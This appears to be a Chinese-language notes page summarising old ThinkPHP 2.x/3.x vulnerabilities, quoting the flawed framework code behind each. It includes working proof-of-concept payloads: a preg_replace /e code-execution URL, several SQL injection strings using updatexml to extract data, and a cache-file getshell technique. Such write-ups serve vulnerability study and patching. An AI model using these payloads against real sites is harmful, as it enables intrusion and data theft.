tp2、tp3漏洞整理
低版本仅作以后参考用
tp2.x、tp3.0
命令执行漏洞
这个漏洞忘了什么cms了,见过两次
漏洞成因
正则匹配采用/e修饰符
1
| $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
|
poc
1
| http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D
|
tp3.x
query注入
简介:小于3.1.3,预处理未进行sql注入
进行处理的写法
1
| $Model->where("id=%d and username='%s' and xx='%f'",$id,$username,$xx)->select();
|
未进行处理的写法
1
| $model->query('select * from user where id=%d and status=%s',$id,$status);
|
成因:parseSql未进行sql处理
1 2 3 4 5 6 7 8 9 10 11 12 13
| protected function parseSql($sql,$parse) { if(true === $parse) { $options = $this->_parseOptions(); $sql = $this->db->parseSql($sql,$options); }elseif(is_array($parse)){ $sql = vsprintf($sql,$parse); }else{ $sql = strtr($sql,array('__TABLE__'=>$this->getTableName(),'__PREFIX__'=>C('DB_PREFIX'))); } $this->db->setModel($this->name); return $sql; }
|
where子单元正则表达式注入

preg_match(‘/IN/i’,$val[0]) //该正则没有起始符和终止符,xxxxinxxxxx等任意包含in的字符串都可以匹配成功,因而构成了注入
preg_match(‘/BETWEEN/i’,$val[0]) //同上
poc
1
| id[0]=in ('xx')) or 1=1 --
|
分割线,以下3.2.3可用
find注入
代码形如
1 2
| $data = I('post.'); $result = $model->find($data);
|
实际是靠的where语句的拼接
poc
1
| id[where]=1 and 1=updatexml(1,concat(0x7e,user(),1)%23
|
bind 注入
简介:
此漏洞属于update和insert方法,select和find不存在
原因是,select语句使用此方法时,未进行参数绑定,无法找到:0的值
代码形如
1 2 3 4 5 6 7 8
| public function index() { $User = M("Users"); $user['id'] = I('id'); $data['password'] = I('password'); $valu = $User->where($user)->save($data); var_dump($valu); }
|
参数绑定关键替换代码
1 2 3 4
| if (!empty($this->bind)) { $that = $this; $this->queryStr = strtr($this->queryStr, array_map(function ($val) use ($that) {return "' . $that->escapeString($val) . '";}, $this->bind)); }
|
poc
id[1]的第一个数字,随实际情况
1
| id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1
|
exp和拼接注入
不在多说…
缓存getshell
主要就是在生成缓存的时候,S函数生成的文件中并未携带exit或者die字眼
如果在第二个参数部分可控的情况下会存在缓存getshell
S方法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| function S($name,$value='',$options=null) { static $cache = ''; if(is_array($options)){ $type = isset($options['type'])?$options['type']:''; $cache = Think\Cache::getInstance($type,$options); }elseif(is_array($name)) { $type = isset($name['type'])?$name['type']:''; $cache = Think\Cache::getInstance($type,$name); return $cache; }elseif(empty($cache)) { $cache = Think\Cache::getInstance(); } if(''=== $value){ return $cache->get($name); }elseif(is_null($value)) { return $cache->rm($name); }else { if(is_array($options)) { $expire = isset($options['expire'])?$options['expire']:NULL; }else{ $expire = is_numeric($options)?$options:NULL; } return $cache->set($name, $value, $expire); } }
|
set方法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| public function set($name,$value,$expire=null) { N('cache_write',1); if(is_null($expire)) { $expire = $this->options['expire']; } $filename = $this->filename($name); $data = serialize($value); if( C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) { $data = gzcompress($data,3); } if(C('DATA_CACHE_CHECK')) { $check = md5($data); }else { $check = ''; } $data = "<?php\n//".sprintf('%012d',$expire).$check.$data."\n?>"; $result = file_put_contents($filename,$data); if($result) { if($this->options['length']>0) { $this->queue($name); } clearstatcache(); return true; }else { return false; } }
|